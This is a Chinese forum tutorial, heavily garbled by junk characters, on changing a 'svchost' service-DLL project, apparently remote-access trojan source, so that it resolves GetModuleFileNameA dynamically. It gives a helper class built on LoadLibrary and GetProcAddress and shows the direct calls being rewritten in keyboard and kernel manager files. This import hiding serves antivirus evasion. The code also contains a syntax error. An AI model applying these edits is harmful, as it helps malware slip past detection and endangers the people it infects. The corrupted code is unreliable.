[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
. X7 ?- g) p+ w/ p; S( psvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：; g, U6 V5 `7 x" f

9 ?- J( A  k* {- |& L& {#if _MSC_VER>1000% {% y1 l' S4 |* ^
#pragma once
& D# q2 Q! t) A+ C5 @0 t2 ?- f#endif //_MSC_VER>1000
% `" O0 |$ Q0 }#include<windows.h>$ w. h9 L( D  B7 L1 z
# R; _  P: F  V/ r  B9 r: c' |
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
" D0 I" H! g0 m' d' D. F$ ?class DTDY/ C' Y2 L- R; c% z
{) S5 g" G! \2 \( \' }5 T0 I
public:3 H8 ?* q  _( y& R* H9 I
DTDY();. M0 K/ x+ l8 O
virtual ~DTDY();; Z$ w2 o% n8 I
public:0 F# P, r' A8 k: P
static pGetModuleFileNameA MyGetModuleFileName;
; u7 ~6 G1 n+ O0 {" Qstatic BOOL FunInitiallization();6 @" w. R1 t$ k' N" Y
};8 A) W8 W' W( i. m1 I
#endif
# c+ \5 ?$ f, x# R0 M/ @----------------------------------------( A+ R, D$ I. J" v6 u( p

2 W: b+ M, B' ?8 C* h7 zDTDY.cpp:/ M4 w  P" T& S( h2 h+ i! h, K

" j2 W* M, Q% Q1 A#include "DTDY.h"
' r! j1 Q" y) L2 v9 fpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;1 K2 Q3 D0 }! W+ D9 k8 m" g
DTDY:TDY()
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}
( V8 {9 w4 W; n! WDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()) Y1 S4 ]3 O+ `4 P; I0 o# }  S
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HMODULE hModule=LoadLibrary("kernel32.dll");* ~4 {- e5 U. F% J5 I2 k0 {
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");9 N6 M( K! q6 S! j: \
if(!MyGetModuleFileName=) return FALSE;2 A! E9 E  ]3 q* j

! P+ @3 k. `) H" Greturn TRUE;
; ?% M* t( M, F- w$ d}
/ {6 s7 S. a/ Y' |3 m( N----------------------------------------
+ }" Y( d7 W- [: W) a( k' k6 U6 H  {svchost.cpp:  B+ F* z$ e3 [9 Z# R

8 l& W9 D+ I# m" t, D#include "DTDY.h"6 T% z+ j. U/ V, o, p

( ]- X* Z2 z9 U$ N% m. p* FBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
2 K3 ?" T5 k$ Z2 S{
, i+ w. r) [$ Xswitch(ul_reason_for_call)
) Q- [0 e0 ^  Q  ?( E4 C' H6 H{" h5 M# Z$ _- l4 q: `
case DLL_PROCESS_ATTACH:7 `+ Q9 ?, z( n' Y# g0 z
if(!DTDY::FunInitiallization()) return FALSE;3 D/ J2 n  ^) r! q

  A) ]' W; |7 k& ~* h6 Zbreak;
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}
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$ F4 L# z2 _' _9 ?! A: Z# JGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
- O4 |* B3 p% j# u改写为
2 Y' b. M6 p+ S' SDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));% z8 C# _% \  j( V# d
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9 x0 c4 ^' u( |8 S- OKernelManager.cpp:
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#include "../DTDY.h"8 g0 I: Q1 _: c) j: I: u  H
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));; F0 Y+ T. e4 D8 H& O
改写为4 T1 k1 A3 |2 {6 w4 J: b
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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